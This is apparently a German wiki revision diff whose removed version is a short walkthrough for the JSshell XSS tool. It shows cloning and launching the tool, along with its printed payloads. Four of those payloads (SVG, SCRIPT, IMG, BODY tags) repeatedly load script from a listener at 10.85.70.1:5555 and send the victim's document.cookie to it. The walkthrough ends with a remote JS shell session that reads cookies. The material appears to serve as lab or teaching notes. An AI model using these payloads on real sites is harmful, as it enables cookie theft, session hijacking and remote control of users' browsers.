Xss-poc-js-reverse-shell: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „=git clone= *git clone https://github.com/shelld3v/JSshell/ *cd JSshell/ *chmod +x jsh.py =start= *./jsh.py -g -p 5555 -s 10.85.70.1 <pre> __ |(_ _ |_…“)
 
(Der Seiteninhalt wurde durch einen anderen Text ersetzt: „*jsshell *xsshell“)
Markierung: Ersetzt
 
(Eine dazwischenliegende Version von einem anderen Benutzer wird nicht angezeigt)
Zeile 1: Zeile 1:
=git clone=
+
*[[jsshell]]
*git clone https://github.com/shelld3v/JSshell/
+
*[[xsshell]]
*cd JSshell/
 
*chmod +x jsh.py
 
=start=
 
*./jsh.py -g -p 5555 -s 10.85.70.1
 
<pre>
 
    __
 
  |(_  _ |_  _  |  |
 
\_|__)_> | |(/_ |  |
 
                      v3.1
 
 
 
Payloads: 
 
- SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie},1010)>
 
- SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie},1010)</script>
 
- IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie},1010)>
 
- BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.85.70.1:5555/?"+document.cookie}></body>
 
 
 
Listening on [any] 5555 for incoming JS shell ...
 
</pre>
 
=Die Shell=
 
Listening on [any] 5555 for incoming JS shell ...
 
Got JS shell from [10.85.70.1] port 53146 to orville 5555
 
>>> var test = 'hacked by xinux'
 
>>> confirm(test)
 
>>> prompt(document.cookie)
 
 
 
=Auf dem Client=
 
 
 
[[Datei:Xss-poc-js-sh1.png]]
 
 
 
=Links=
 
*https://github.com/shelld3v/JSshell/blob/master/README.md
 

Aktuelle Version vom 28. Juli 2021, 12:44 Uhr